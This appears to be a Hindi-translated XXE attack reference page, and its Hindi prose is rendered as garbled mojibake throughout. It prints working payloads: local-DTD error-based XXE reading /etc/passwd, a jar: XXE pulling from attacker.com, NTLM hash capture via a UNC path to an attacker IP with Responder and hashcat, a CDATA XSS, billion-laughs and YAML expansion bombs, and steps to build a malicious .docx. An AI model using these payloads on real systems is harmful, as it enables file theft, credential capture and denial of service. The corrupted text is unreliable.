рддреЛ рдЬрдм рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдЗрдВрдЯрд░реИрдХреНрд╢рди рдЕрд╡рд░реБрджреНрдз рд╣реЛрддреЗ рд╣реИрдВ (рдмрд╛рд╣рд░реА рдХрдиреЗрдХреНрд╢рди рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИрдВ) рддреЛ рдЕрдВрдзреЗ XXE рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛?
XML рднрд╛рд╖рд╛ рд╡рд┐рдирд┐рд░реНрджреЗрд╢рди рдореЗрдВ рдПрдХ рдЫрд┐рджреНрд░ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ DTD рдЖрдВрддрд░рд┐рдХ рдФрд░ рдмрд╛рд╣рд░реА рдШреЛрд╖рдгрд╛рдУрдВ рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдШреЛрд╖рд┐рдд рдХреА рдЧрдИ рдПрдВрдЯрд┐рдЯреАрдЬрд╝ рдХреЗ рдЖрдВрддрд░рд┐рдХ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд XXE рд╣рдорд▓реЛрдВ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред рдРрд╕реЗ рд╣рдорд▓реЗ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА рдХреЗ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ, рдЬреЛ рдореВрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдмрд╛рд╣рд░реА DTD рдореЗрдВ рдШреЛрд╖рд┐рдд рдХреА рдЧрдИ рдереА, рдПрдХ рдЖрдВрддрд░рд┐рдХ DTD рдХреЗ рднреАрддрд░ рд╕реЗред рдЬрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдХрдиреЗрдХреНрд╢рди рдЕрд╡рд░реБрджреНрдз рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рд░рд╣рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╣реИред
рдПрдХ рдкрд░рд┐рджреГрд╢реНрдп рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрд╣рд╛рдВ рд╕рд░реНрд╡рд░ рдХреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ /usr/local/app/schema.dtd
рдкрд░ рдПрдХ DTD рдлрд╝рд╛рдЗрд▓ рд╣реИ, рдЬреЛ custom_entity
рдирд╛рдордХ рдПрдХ рдПрдВрдЯрд┐рдЯреА рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╣рд╛рдЗрдмреНрд░рд┐рдб DTD рдкреНрд░рд╕реНрддреБрдд рдХрд░рдХреЗ /etc/passwd
рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП XML рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
The outlined steps are executed by this DTD:
- рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА
local_dtd
рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдореЗрдВ рд╕рд░реНрд╡рд░ рдХреА рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕реНрдерд┐рдд рдмрд╛рд╣рд░реА DTD рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рд╣реИред custom_entity
XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА рдХреЗ рд▓рд┐рдП рдПрдХ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕реЗ рдореВрд▓ рд░реВрдк рд╕реЗ рдмрд╛рд╣рд░реА DTD рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддрд╛рдХрд┐ рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд XXE рд╣рдорд▓реЗ рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдПрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИ, рдЬреЛ/etc/passwd
рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИредlocal_dtd
рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдмрд╛рд╣рд░реА DTD рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдирдП рдкрд░рд┐рднрд╛рд╖рд┐рддcustom_entity
рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрди рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЙрд╕ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рдЙрддреНрд╕рд░реНрдЬрди рдХреЛ рдкреНрд░реЗрд░рд┐рдд рдХрд░рддреА рд╣реИ рдЬрд┐рд╕реЗ рд╣рдорд▓реЗ рджреНрд╡рд╛рд░рд╛ рд▓рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
Real world example: Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd
containing an entity called ISOamso
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
рдЪреВрдВрдХрд┐ рдпрд╣ рддрдХрдиреАрдХ рдПрдХ рдЖрдВрддрд░рд┐рдХ DTD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдПрдХ рдорд╛рдиреНрдп DTD рдвреВрдВрдврдирд╛ рд╣реЛрдЧрд╛ред рдЖрдк рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╕рдорд╛рди OS / рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ рдФрд░ рдХреБрдЫ рдбрд┐рдлрд╝реЙрд▓реНрдЯ DTDs рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ, рдпрд╛ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ DTDs рдХреА рдПрдХ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЙрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рдореМрдЬреВрдж рд╣реИ:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
For more information check https://portswigger.net/web-security/xxe/blind
рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ DTDs рдЦреЛрдЬрдирд╛
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢рд╛рдирджрд╛рд░ github repo рдореЗрдВ рдЖрдк рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдореМрдЬреВрдж DTDs рдХреЗ рдкрде рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреАрдбрд╝рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдХрд╛ Docker рдЗрдореЗрдЬ рд╣реИ, рддреЛ рдЖрдк рдЙрд╕реА repo рдХреЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрдореЗрдЬ рдХреЛ рд╕реНрдХреИрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдореМрдЬреВрдж DTDs рдХрд╛ рдкрде рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВред рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП github рдХрд╛ Readme рдкрдврд╝реЗрдВред
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE via Office Open XML Parsers
рдЗрд╕ рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЧрд╣рди рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП, Detectify рдХреЗ рдЗрд╕ рдЕрджреНрднреБрдд рдкреЛрд╕реНрдЯ рдХреЗ рджреВрд╕рд░реЗ рдЕрдиреБрднрд╛рдЧ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред
Microsoft Office рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХрдИ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рдлрд┐рд░ рдЗрди рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рд╕реЗ рдХреБрдЫ рд╡рд┐рд╡рд░рдг рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЬрд╛рддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ XLSX рдкреНрд░рд╛рд░реВрдк рдХреА рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рдЕрдкрд▓реЛрдб рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдЖрдпрд╛рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред рд╕реНрдкреНрд░реЗрдбрд╢реАрдЯ рд╕реЗ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛рд░реНрд╕рд░ рдХреЛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдХрдо рд╕реЗ рдХрдо рдПрдХ XML рдлрд╝рд╛рдЗрд▓ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ XXE рдкреЗрд▓реЛрдб рд╡рд╛рд▓рд╛ Microsoft Office рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдкрд╣рд▓рд╛ рдХрджрдо рдПрдХ рдЦрд╛рд▓реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдирд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рдЕрдирдЬрд╝рд┐рдк рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рдПрдХ рдмрд╛рд░ рдЬрдм рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдЕрдирдЬрд╝рд┐рдк рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ ./unzipped/word/document.xml
рдкрд░ рд╕реНрдерд┐рдд XML рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЦреЛрд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рдПрдХ рдкрд╕рдВрджреАрджрд╛ рдЯреЗрдХреНрд╕реНрдЯ рд╕рдВрдкрд╛рджрдХ (рдЬреИрд╕реЗ vim) рдореЗрдВ рд╕рдВрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред XML рдХреЛ рдЗрдЪреНрдЫрд┐рдд XXE рдкреЗрд▓реЛрдб рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬреЛ рдЕрдХреНрд╕рд░ рдПрдХ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред
рд╕рдВрд╢реЛрдзрд┐рдд XML рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рджреЛ рдореВрд▓ XML рд╡рд╕реНрддреБрдУрдВ рдХреЗ рдмреАрдЪ рдбрд╛рд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред URL рдХреЛ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдореЙрдирд┐рдЯрд░ рдХрд░рдиреЗ рдпреЛрдЧреНрдп URL рд╕реЗ рдмрджрд▓рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред
рдЕрдВрдд рдореЗрдВ, рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЬрд╝рд┐рдк рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг poc.docx рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдИ рдЬрд╛ рд╕рдХреЗред рдкрд╣рд▓реЗ рд╕реЗ рдмрдирд╛рдП рдЧрдП "unzipped" рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП:
рдЕрдм, рдмрдирд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХрдордЬреЛрд░ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЗ Burp Collaborator рд▓реЙрдЧ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рдХреА рдЙрдореНрдореАрдж рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред
Jar: protocol
jar рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Java рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рднреАрддрд░ рд╕реБрд▓рдн рд╣реИред рдпрд╣ PKZIP рд╕рдВрдЧреНрд░рд╣ (рдЬреИрд╕реЗ, .zip
, .jar
, рдЖрджрд┐) рдХреЗ рднреАрддрд░ рдлрд╝рд╛рдЗрд▓ рдкрд╣реБрдВрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдФрд░ рджреВрд░рд╕реНрде рдлрд╝рд╛рдЗрд▓реЛрдВ рджреЛрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реИред
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
{% hint style="danger" %} PKZIP рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рд╕рд┐рд╕реНрдЯрдо DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ XXE рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрдкрд░ рдЙрдкрдпреЛрдЧреА рд╣реИред рд╕рд┐рд╕реНрдЯрдо DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░реЗрдВ, рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ. {% endhint %}
PKZIP рд╕рдВрдЧреНрд░рд╣ рдХреЗ рднреАрддрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХрдИ рдЪрд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
- рдПрдХ HTTP рдЕрдиреБрд░реЛрдз рдПрдХ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдерд╛рди рд╕реЗ рдЬрд╝рд┐рдк рд╕рдВрдЧреНрд░рд╣ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ
https://download.website.com/archive.zip
. - рд╕рдВрдЧреНрд░рд╣ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░
/tmp/...
рдЬреИрд╕реЗ рд╕реНрдерд╛рди рдкрд░ред - рдлрд┐рд░ рд╕рдВрдЧреНрд░рд╣ рдХреЛ рдЗрд╕рдХреЗ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИред
- рд╕рдВрдЧреНрд░рд╣ рдХреЗ рднреАрддрд░ рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓,
file.zip
, рдХреЛ рдкрдврд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред - рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдмрд╛рдж, рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рдмрдирд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рджреВрд╕рд░реЗ рдЪрд░рдг рдкрд░ рдмрд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреА рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рддрдХрдиреАрдХ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕реЗрд╡рд╛ рджреЗрддреЗ рд╕рдордп рд╕рд░реНрд╡рд░ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЕрдирд┐рд╢реНрдЪрд┐рддрдХрд╛рд▓ рдХреЗ рд▓рд┐рдП рдЦреБрд▓рд╛ рд░рдЦрдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдЗрд╕ рднрдВрдбрд╛рд░ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдПрдХ Python рд╕рд░реНрд╡рд░ (slow_http_server.py
) рдФрд░ рдПрдХ Java рд╕рд░реНрд╡рд░ (slowserver.jar
) рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
{% hint style="danger" %} рдЕрд╕реНрдерд╛рдпреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓рд┐рдЦрдирд╛ рдПрдХ рдФрд░ рднреЗрджреНрдпрддрд╛ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдкрде рдпрд╛рддреНрд░рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ (рдЬреИрд╕реЗ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛, рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди, XSLT RCE, рдбреАрд╕рд┐рд░рд┐рдпрд▓рд╛рдЗрдЬреЗрд╢рди, рдЖрджрд┐)ред {% endhint %}
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
рдмрд┐рд▓рд┐рдпрди рд╣рдВрд╕реА рд╣рдорд▓рд╛
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yaml рд╣рдорд▓рд╛
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
Quadratic Blowup Attack
NTML рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
Windows рд╣реЛрд╕реНрдЯ рдкрд░, рдПрдХ responder.py рд╣реИрдВрдбрд▓рд░ рд╕реЗрдЯ рдХрд░рдХреЗ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ NTML рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ:
Responder.py -I eth0 -v
рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рднреЗрдЬрдХрд░
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
рдлрд┐рд░ рдЖрдк hashcat рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реИрд╢ рдХреЛ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
рдЫрд┐рдкрд╛ рд╣реБрдЖ XXE рд╕рддрд╣реЗрдВ
XInclude
